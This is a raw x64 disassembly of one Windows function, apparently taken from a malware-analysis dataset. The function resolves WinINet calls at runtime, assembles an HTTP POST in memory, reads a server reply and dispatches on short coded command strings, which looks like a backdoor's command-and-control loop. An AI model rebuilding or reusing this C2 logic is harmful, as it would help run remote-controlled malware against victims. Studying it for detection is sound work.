Function at 0x14000bd30
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x210
mov rax, qword [0x14003e040]
xor rax, rsp
mov qword [rsp + 0x200], rax
mov rsi, rdx
mov r13, rcx
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xf0], rdx
xor edi, edi
lea rcx, [0x14003ff88]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r12, rax
mov qword [rsp + 0x90], rax
lea rdx, [0x14003ff70]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003ff10], rax
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [0x140040038]
call rax
mov r15, rax
mov qword [rsp + 0x88], rax
test rax, rax
je 0x14000bee2
lea rdx, [0x14003ff40]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003ff68], rax
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], rdi
xor r9d, r9d
movzx r8d, word [0x14003ea80]
lea rdx, [0x140040050]
mov rcx, r15
call rax
mov qword [rsp + 0x78], rax
test rax, rax
je 0x14000bed9
lea ecx, [rdi + 0xa]
call fcn.14001bf24
mov r14, rax
mov qword [rsp + 0xc8], rax
xor eax, eax
mov qword [r14], rax
mov word [r14 + 8], ax
mov dword [r14], 0x54534f50
lea ecx, [rdi + 0xa]
call fcn.14001bf24
mov rbx, rax
mov qword [rsp + 0xd0], rax
mov dword [rax + 6], 0x312e
mov dword [rax], 0x50545448
mov word [rax + 4], 0x312f
lea rdx, [0x14003ffa0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140040030], rax
mov qword [rsp + 0x38], rdi
mov ecx, dword [0x14003ff20]
mov dword [rsp + 0x30], ecx
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
mov r9, rbx
lea r8, [0x14003ffc0]
mov rdx, r14
mov r12, qword [rsp + 0x78]
mov rcx, r12
call rax
mov qword [rsp + 0x80], rax
test rax, rax
jne 0x14000bf7e
mov rcx, r14
call fcn.14001baf8
mov rcx, rbx
call fcn.14001baf8
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
movups xmmword [r13], xmm0
mov qword [r13 + 0x10], rdi
mov qword [r13 + 0x18], rdi
xor r8d, r8d
lea rdx, [0x140038ca0]
mov rcx, r13
call fcn.1400019f0
nop
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x14000bf3f
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x14000bf3a
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000dbba
mov rcx, r8
call fcn.140012570
mov byte [rsi], 0
mov qword [rsi + 0x18], 0xf
mov qword [rsi + 0x10], rdi
mov rax, r13
mov rcx, qword [rsp + 0x200]
xor rcx, rsp
call fcn.140012550
lea r11, [rsp + 0x210]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov ecx, 0x64
call fcn.14001bf24
mov r14, rax
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [r14], xmm0
movups xmmword [r14 + 0x10], xmm0
movups xmmword [r14 + 0x20], xmm0
movups xmmword [r14 + 0x30], xmm0
movups xmmword [r14 + 0x40], xmm0
movups xmmword [r14 + 0x50], xmm0
mov dword [r14 + 0x60], eax
lea ecx, [rax + 0x32]
call fcn.14001bf24
mov rbx, rax
mov dword [rax + 0x2e], 0x64
mov dword [rax], 0x746e6f43
mov dword [rax + 4], 0x2d746e65
mov dword [rax + 8], 0x65707954
mov dword [rax + 0xc], 0x7061203a
mov dword [rax + 0x10], 0x63696c70
mov dword [rax + 0x14], 0x6f697461
mov dword [rax + 0x18], 0x2d782f6e
mov dword [rax + 0x1c], 0x2d777777
mov dword [rax + 0x20], 0x6d726f66
mov dword [rax + 0x24], 0x6c72752d
mov dword [rax + 0x28], 0x6f636e65
mov word [rax + 0x2c], 0x6564
mov rcx, rax
mov rdx, r14
sub rdx, rax
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x14000c030
mov ecx, 0x640
call fcn.14001bf24
mov r12, rax
mov qword [rsp + 0xc0], rax
xor edx, edx
mov r8d, 0x640
mov rcx, rax
call fcn.14002a9f0
cmp qword [rsi + 0x18], 0xf
jbe 0x14000c072
mov rcx, qword [rsi]
mov rdx, rcx
jmp 0x14000c078
mov rdx, rsi
mov rcx, rsi
mov r15, 0xffffffffffffffff
mov r8, r15
inc r8
cmp byte [rcx + r8], 0
jne 0x14000c082
lea rcx, [rsp + 0x158]
call fcn.140001260
nop
lea rdx, [rsp + 0x158]
lea rcx, [rsp + 0xf8]
call fcn.14000a020
nop
mov ecx, 0xa
call fcn.14001bf24
mov qword [rsp + 0xd8], rax
mov dword [rax + 6], 0x6e
mov dword [rax], 0x6f667566
mov word [rax + 4], 0x696b
lea r9, [rsp + 0xf8]
cmp qword [rsp + 0x110], 0xf
cmova r9, qword [rsp + 0xf8]
mov r8, rax
lea rdx, str._s_s
mov rcx, r12
call fcn.140001c70
lea rdx, [0x14003ff28]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003ffb8], rax
mov rcx, r15
inc rcx
cmp byte [r12 + rcx], 0
jne 0x14000c120
mov r8, r15
nop dword [rax]
inc r8
cmp byte [r14 + r8], 0
jne 0x14000c130
mov dword [rsp + 0x20], ecx
mov r9, r12
mov rdx, r14
mov rcx, qword [rsp + 0x80]
call rax
test eax, eax
jne 0x14000c2a2
mov rcx, qword [rsp + 0xc8]
call fcn.14001baf8
mov rcx, qword [rsp + 0xd0]
call fcn.14001baf8
mov rcx, r14
call fcn.14001baf8
mov rcx, rbx
call fcn.14001baf8
mov rcx, r12
call fcn.14001baf8
mov rcx, qword [rsp + 0xd8]
call fcn.14001baf8
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
movups xmmword [r13], xmm0
mov qword [r13 + 0x10], rdi
mov qword [r13 + 0x18], rdi
xor r8d, r8d
lea rdx, [0x140038ca0]
mov rcx, r13
call fcn.1400019f0
nop
mov rdx, qword [rsp + 0x110]
cmp rdx, 0xf
jbe 0x14000c222
mov rcx, qword [rsp + 0xf8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c21d
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000dc5c
call fcn.140012570
mov byte [rsp + 0xf8], 0
mov qword [rsp + 0x110], 0xf
mov qword [rsp + 0x108], rdi
mov rdx, qword [rsp + 0x170]
cmp rdx, 0xf
jbe 0x14000c281
inc rdx
mov rcx, qword [rsp + 0x158]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000c27c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000dc62
call fcn.140012570
mov qword [rsp + 0x168], rdi
mov qword [rsp + 0x170], 0xf
mov byte [rsp + 0x158], 0
jmp 0x14000bf05
mov dword [rsp + 0x1d8], edi
xorps xmm0, xmm0
movups xmmword [rsp + 0x138], xmm0
mov qword [rsp + 0x148], rdi
mov qword [rsp + 0x150], rdi
xor r8d, r8d
lea rdx, [0x140038ca0]
lea rcx, [rsp + 0x138]
call fcn.1400019f0
nop
mov ecx, 0x2710
call fcn.14001bf24
mov r14, rax
mov qword [rsp + 0xb8], rax
xor edx, edx
mov r8d, 0x2710
mov rcx, rax
call fcn.14002a9f0
mov word [rsp + 0x1f1], di
mov byte [rsp + 0x1f3], 0
movdqa xmm0, xmmword [0x140039120]
movdqu xmmword [rsp + 0x1e0], xmm0
mov byte [rsp + 0x1f0], 0
lea rdx, [rsp + 0x1e0]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003ff60], rax
lea r9, [rsp + 0x1d8]
mov r8d, 0x2710
mov rdx, r14
mov rcx, qword [rsp + 0x80]
call rax
test eax, eax
je 0x14000da1e
mov r12, r15
nop dword [rax]
inc r12
cmp byte [r14 + r12], 0
jne 0x14000c370
test r12, r12
je 0x14000c3c0
nop
movsx ecx, byte [r14]
call fcn.140018c80
test eax, eax
jne 0x14000c3ad
movsx rax, byte [r14]
cmp al, 0x3d
ja 0x14000da0e
movabs rcx, 0x2000881800000000
bt rcx, rax
jae 0x14000da0e
inc r14
mov rax, r14
sub rax, qword [rsp + 0xb8]
cmp rax, r12
jb 0x14000c380
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0xc8]
call fcn.14001baf8
mov rcx, qword [rsp + 0xd0]
call fcn.14001baf8
mov rcx, qword [rsp + 0x70]
call fcn.14001baf8
mov rcx, rbx
call fcn.14001baf8
mov rcx, qword [rsp + 0xc0]
call fcn.14001baf8
mov rcx, qword [rsp + 0xd8]
call fcn.14001baf8
mov r14, r15
mov r12, qword [rsp + 0xb8]
nop dword [rax + rax]
inc r14
cmp byte [r12 + r14], 0
jne 0x14000c440
test r14, r14
je 0x14000d7b8
mov rcx, qword [rsp + 0x148]
mov rdx, qword [rsp + 0x150]
mov rax, rdx
sub rax, rcx
cmp r14, rax
ja 0x14000c4a7
lea rax, [rcx + r14]
mov qword [rsp + 0x148], rax
lea rbx, [rsp + 0x138]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x138]
add rbx, rcx
mov r8, r14
mov rdx, r12
mov rcx, rbx
call fcn.14002adb0
mov byte [r14 + rbx], 0
jmp 0x14000c4bf
mov qword [rsp + 0x20], r14
mov r9, r12
mov rdx, r14
lea rcx, [rsp + 0x138]
call fcn.140009540
lea rcx, [rsp + 0x138]
cmp qword [rsp + 0x150], 0xf
cmova rcx, qword [rsp + 0x138]
lea rdx, [0x140038f4c]
call fcn.14001c240
mov r14, rax
mov qword [rsp + 0x90], rax
test rax, rax
je 0x14000d7b8
lea rdx, [0x140038f4c]
xor ecx, ecx
call fcn.14001c240
mov rbx, rax
mov qword [rsp + 0x88], rax
test rax, rax
je 0x14000d773
lea rdx, [0x140038f4c]
xor ecx, ecx
call fcn.14001c240
mov qword [rsp + 0x78], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov r8, r15
inc r8
cmp byte [r14 + r8], 0
jne 0x14000c542
mov rdx, r14
lea rcx, [rsp + 0x50]
call fcn.1400019f0
nop
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x1b8]
call fcn.14000ae10
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14000c5aa
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c5a5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000dc1a
call fcn.140012570
lea rdx, [rsp + 0x1b8]
lea rcx, [rsp + 0x178]
call fcn.140001520
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov r8, r15
inc r8
cmp byte [rbx + r8], 0
jne 0x14000c5d4
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.1400019f0
nop
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x198]
call fcn.14000ae10
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14000c63c
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c637
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000dc0e
call fcn.140012570
lea rdx, [rsp + 0x198]
lea rcx, [rsp + 0x118]
call fcn.140001520
nop
lea rcx, [rsp + 0x178]
mov r14, qword [rsp + 0x178]
mov rax, qword [rsp + 0x190]
cmp rax, 0xf
cmova rcx, r14
mov rbx, qword [rsp + 0x188]
cmp rbx, 8
jne 0x14000c768
mov r8, rbx
lea rdx, str.3hdfghd1
call fcn.14002b430
test eax, eax
jne 0x14000c760
lea rdx, [rsp + 0x118]
cmp qword [rsp + 0x130], 0xf
cmova rdx, qword [rsp + 0x118]
lea r8, [rsp + 0xf8]
cmp qword [rsp + 0x110], 0xf
cmova r8, qword [rsp + 0xf8]
mov eax, dword [0x14003ff20]
mov dword [rsp + 0x48], eax
mov eax, dword [0x14003ea80]
mov dword [rsp + 0x40], eax
lea rax, [0x140040038]
mov qword [rsp + 0x38], rax
lea rax, [0x14003ffc0]
mov qword [rsp + 0x30], rax
lea rax, [0x140040050]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
mov r9, qword [rsp + 0x78]
lea rcx, [rsp + 0x50]
call fcn.1400028c0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14000d16f
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d16a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000dbc0
jmp 0x14000d16a
mov rax, qword [rsp + 0x190]
lea rcx, [rsp + 0x178]
cmp rax, 0xf
cmova rcx, r14
cmp rbx, 9
jne 0x14000c956
mov r8, rbx
lea rdx, str.3gjdfghj6
call fcn.14002b430
test eax, eax
jne 0x14000c94e
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
lea rax, [rsp + 0x118]
cmp qword [rsp + 0x130], 0xf
cmova rax, qword [rsp + 0x118]
mov qword [rsp + 0x70], rax
mov r14, qword [rsp + 0x128]
movabs rbx, 0x7fffffffffffffff
cmp r14, rbx
ja 0x14000dbc6
mov qword [rsp + 0x68], 0xf
cmp r14, 0xf
ja 0x14000c806
mov qword [rsp + 0x60], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
jmp 0x14000c89c
mov rax, r14
or rax, 0xf
cmp rax, rbx
jbe 0x14000c842
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140012840
mov rcx, rax
test rax, rax
je 0x14000dbd0
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000c87c
mov rbx, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14000c86d
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000dbcb
jmp 0x14000c820
test rcx, rcx
je 0x14000c879
call fcn.140012840
jmp 0x14000c87c
mov rax, rdi
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rbx
lea r8, [r14 + 1]
mov rdx, qword [rsp + 0x70]
mov rcx, rax
call fcn.14002adb0
lea r8, [rsp + 0xf8]
cmp qword [rsp + 0x110], 0xf
cmova r8, qword [rsp + 0xf8]
mov eax, dword [0x14003ff20]
mov dword [rsp + 0x40], eax
mov eax, dword [0x14003ea80]
mov dword [rsp + 0x38], eax
lea rax, [0x140040038]
mov qword [rsp + 0x30], rax
lea rax, [0x14003ffc0]
mov qword [rsp + 0x28], rax
lea rax, [0x140040050]
mov qword [rsp + 0x20], rax
mov r9, r12
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x98]
call fcn.1400063b0
mov rdx, qword [rsp + 0xb0]
cmp rdx, 0xf
jbe 0x14000d16f
inc rdx
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d16a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000dbd0
jmp 0x14000d16a
mov rax, qword [rsp + 0x190]
lea rcx, [rsp + 0x178]
cmp rax, 0xf
cmova rcx, r14
cmp rbx, 6
jne 0x14000cbb0
mov r8, rbx
lea rdx, str.3gnfm9
call fcn.14002b430
test eax, eax
jne 0x14000cba8
lea r9, [rsp + 0x118]
cmp qword [rsp + 0x130], 0xf
cmova r9, qword [rsp + 0x118]
mov r14, qword [rsp + 0x128]
mov rax, qword [0x1400400f8]
cmp r14, rax
ja 0x14000c9e4
lea rbx, [0x1400400e0]
cmp rax, 0xf
cmova rbx, qword [0x1400400e0]
mov qword [0x1400400f0], r14
mov r8, r14
mov rdx, r9
mov rcx, rbx
call fcn.14002adb0
mov byte [rbx + r14], 0
jmp 0x14000c9f3
mov rdx, r14
lea rcx, [0x1400400e0]
call fcn.140009ac0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
lea rax, [rsp + 0x118]
cmp qword [rsp + 0x130], 0xf
cmova rax, qword [rsp + 0x118]
mov qword [rsp + 0x70], rax
mov r14, qword [rsp + 0x128]
movabs rbx, 0x7fffffffffffffff
cmp r14, rbx
ja 0x14000dbd6
mov qword [rsp + 0x68], 0xf
cmp r14, 0xf
ja 0x14000ca60
mov qword [rsp + 0x60], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
jmp 0x14000caf6
mov rax, r14
or rax, 0xf
cmp rax, rbx
jbe 0x14000ca9c
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140012840
mov rcx, rax
test rax, rax
je 0x14000dbe0
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000cad6
mov rbx, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14000cac7
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000dbdb
jmp 0x14000ca7a
test rcx, rcx
je 0x14000cad3
call fcn.140012840
jmp 0x14000cad6
mov rax, rdi
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rbx
lea r8, [r14 + 1]
mov rdx, qword [rsp + 0x70]
mov rcx, rax
call fcn.14002adb0
lea r8, [rsp + 0xf8]
cmp qword [rsp + 0x110], 0xf
cmova r8, qword [rsp + 0xf8]
mov eax, dword [0x14003ff20]
mov dword [rsp + 0x40], eax
mov eax, dword [0x14003ea80]
mov dword [rsp + 0x38], eax
lea rax, [0x140040038]
mov qword [rsp + 0x30], rax
lea rax, [0x14003ffc0]
mov qword [rsp + 0x28], rax
lea rax, [0x140040050]
mov qword [rsp + 0x20], rax
mov r9, r12
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x98]
call fcn.140008440
mov rdx, qword [rsp + 0xb0]
cmp rdx, 0xf
jbe 0x14000d16f
inc rdx
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d16a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000dbe0
jmp 0x14000d16a
mov rax, qword [rsp + 0x190]
lea rcx, [rsp + 0x178]
cmp rax, 0xf
cmova rcx, r14
cmp rbx, 8
jne 0x14000ccb0
mov r8, rbx
lea rdx, str.3fgjfhg4
call fcn.14002b430
test eax, eax
jne 0x14000cca8
lea rdx, [rsp + 0x118]
cmp qword [rsp + 0x130], 0xf
cmova rdx, qword [rsp + 0x118]
lea r8, [rsp + 0xf8]
cmp qword [rsp + 0x110], 0xf
cmova r8, qword [rsp + 0xf8]
mov eax, dword [0x14003ff20]
mov dword [rsp + 0x40], eax
mov eax, dword [0x14003ea80]
mov dword [rsp + 0x38], eax
lea rax, [0x140040038]
mov qword [rsp + 0x30], rax
lea rax, [0x14003ffc0]
mov qword [rsp + 0x28], rax
lea rax, [0x140040050]
mov qword [rsp + 0x20], rax
mov r9, r12
lea rcx, [rsp + 0x98]
call fcn.140004290
mov rdx, qword [rsp + 0xb0]
cmp rdx, 0xf
jbe 0x14000d16f
inc rdx
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d16a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000dbe6
jmp 0x14000d16a
mov rax, qword [rsp + 0x190]
lea rcx, [rsp + 0x178]
cmp rax, 0xf
cmova rcx, r14
cmp rbx, 8
jne 0x14000cdb0
mov r8, rbx
lea rdx, str.3gnfjhk7
call fcn.14002b430
test eax, eax
jne 0x14000cda8
lea r8, [rsp + 0xf8]
cmp qword [rsp + 0x110], 0xf
cmova r8, qword [rsp + 0xf8]
lea rdx, [rsp + 0x118]
cmp qword [rsp + 0x130], 0xf
cmova rdx, qword [rsp + 0x118]
mov eax, dword [0x14003ff20]
mov dword [rsp + 0x40], eax
mov eax, dword [0x14003ea80]
mov dword [rsp + 0x38], eax
lea rax, [0x140040038]
mov qword [rsp + 0x30], rax
lea rax, [0x14003ffc0]
mov qword [rsp + 0x28], rax
lea rax, [0x140040050]
mov qword [rsp + 0x20], rax
mov r9, r12
lea rcx, [rsp + 0x98]
call fcn.140007210
mov rdx, qword [rsp + 0xb0]
cmp rdx, 0xf
jbe 0x14000d16f
inc rdx
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d16a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000dbec
jmp 0x14000d16a
mov rax, qword [rsp + 0x190]
lea rcx, [rsp + 0x178]
cmp rax, 0xf
cmova rcx, r14
cmp rbx, 8
jne 0x14000ceb0
mov r8, rbx
lea rdx, str.3ngjfng5
call fcn.14002b430
test eax, eax
jne 0x14000cea8
lea r8, [rsp + 0xf8]
cmp qword [rsp + 0x110], 0xf
cmova r8, qword [rsp + 0xf8]
lea rdx, [rsp + 0x118]
cmp qword [rsp + 0x130], 0xf
cmova rdx, qword [rsp + 0x118]
mov eax, dword [0x14003ff20]
mov dword [rsp + 0x40], eax
mov eax, dword [0x14003ea80]
mov dword [rsp + 0x38], eax
lea rax, [0x140040038]
mov qword [rsp + 0x30], rax
lea rax, [0x14003ffc0]
mov qword [rsp + 0x28], rax
lea rax, [0x140040050]
mov qword [rsp + 0x20], rax
mov r9, r12
lea rcx, [rsp + 0x98]
call fcn.140005560
mov rdx, qword [rsp + 0xb0]
cmp rdx, 0xf
jbe 0x14000d16f
inc rdx
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d16a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000dbf2
jmp 0x14000d16a
mov rax, qword [rsp + 0x190]
lea rcx, [rsp + 0x178]
cmp rax, 0xf
cmova rcx, r14
cmp rbx, 8
jne 0x14000cf91
mov r8, rbx
lea rdx, str.3fghnbj2
call fcn.14002b430
test eax, eax
jne 0x14000cf89
lea rdx, [rsp + 0xf8]
cmp qword [rsp + 0x110], 0xf
cmova rdx, qword [rsp + 0xf8]
mov eax, dword [0x14003ff20]
mov dword [rsp + 0x38], eax
mov eax, dword [0x14003ea80]
mov dword [rsp + 0x30], eax
lea rax, [0x140040038]
mov qword [rsp + 0x28], rax
lea rax, [0x14003ffc0]
mov qword [rsp + 0x20], rax
lea r9, [0x140040050]
mov r8, r12
lea rcx, [rsp + 0x98]
call fcn.1400036f0
mov rdx, qword [rsp + 0xb0]
cmp rdx, 0xf
jbe 0x14000d16f
inc rdx
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d16a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000dbf8
jmp 0x14000d16a
mov rax, qword [rsp + 0x190]
lea rcx, [rsp + 0x178]
cmp rax, 0xf
cmova rcx, r14
cmp rbx, 7
jne 0x14000d3ae
mov r8, rbx
lea rdx, str.frgt45f
call fcn.14002b430
test eax, eax
jne 0x14000d3ae
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
lea rax, [rsp + 0x118]
cmp qword [rsp + 0x130], 0xf
cmova rax, qword [rsp + 0x118]
mov qword [rsp + 0x70], rax
mov r14, qword [rsp + 0x128]
movabs rbx, 0x7fffffffffffffff
cmp r14, rbx
ja 0x14000dbfe
mov qword [rsp + 0x68], 0xf
cmp r14, 0xf
ja 0x14000d02f
mov qword [rsp + 0x60], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
jmp 0x14000d0c5
mov rax, r14
or rax, 0xf
cmp rax, rbx
jbe 0x14000d06b
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140012840
mov rcx, rax
test rax, rax
je 0x14000dc08
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000d0a5
mov rbx, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14000d096
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000dc03
jmp 0x14000d049
test rcx, rcx
je 0x14000d0a2
call fcn.140012840
jmp 0x14000d0a5
mov rax, rdi
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rbx
lea r8, [r14 + 1]
mov rdx, qword [rsp + 0x70]
mov rcx, rax
call fcn.14002adb0
lea r8, [rsp + 0xf8]
cmp qword [rsp + 0x110], 0xf
cmova r8, qword [rsp + 0xf8]
mov eax, dword [0x14003ff20]
mov dword [rsp + 0x40], eax
mov eax, dword [0x14003ea80]
mov dword [rsp + 0x38], eax
lea rax, [0x140040038]
mov qword [rsp + 0x30], rax
lea rax, [0x14003ffc0]
mov qword [rsp + 0x28], rax
lea rax, [0x140040050]
mov qword [rsp + 0x20], rax
mov r9, r12
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x98]
call fcn.140008a90
mov rdx, qword [rsp + 0xb0]
cmp rdx, 0xf
jbe 0x14000d16f
inc rdx
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d16a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000dc08
call fcn.140012570
mov r8, r15
mov rax, qword [rsp + 0x78]
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000d180
xor edx, edx
mov rcx, rax
call fcn.14002a9f0
lea rax, [rsp + 0x1b8]
cmp qword [rsp + 0x1d0], 0xf
cmova rax, qword [rsp + 0x1b8]
mov qword [rsp + 0x1c8], rdi
mov byte [rax], 0
lea rax, [rsp + 0x178]
cmp qword [rsp + 0x190], 0xf
cmova rax, qword [rsp + 0x178]
mov qword [rsp + 0x188], rdi
mov byte [rax], 0
lea rax, [rsp + 0x198]
cmp qword [rsp + 0x1b0], 0xf
cmova rax, qword [rsp + 0x198]
mov qword [rsp + 0x1a8], rdi
mov byte [rax], 0
lea rax, [rsp + 0x118]
cmp qword [rsp + 0x130], 0xf
cmova rax, qword [rsp + 0x118]
mov qword [rsp + 0x128], rdi
mov byte [rax], 0
mov r8, r15
mov rcx, qword [rsp + 0x88]
inc r8
cmp byte [rcx + r8], 0
jne 0x14000d233
xor edx, edx
call fcn.14002a9f0
nop
mov rdx, qword [rsp + 0x130]
cmp rdx, 0xf
jbe 0x14000d288
inc rdx
mov rcx, qword [rsp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d283
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000dc0e
call fcn.140012570
mov qword [rsp + 0x128], rdi
mov qword [rsp + 0x130], 0xf
mov byte [rsp + 0x118], 0
mov rdx, qword [rsp + 0x1b0]
cmp rdx, 0xf
jbe 0x14000d2e7
inc rdx
mov rcx, qword [rsp + 0x198]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d2e2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000dc14
call fcn.140012570
mov qword [rsp + 0x1a8], rdi
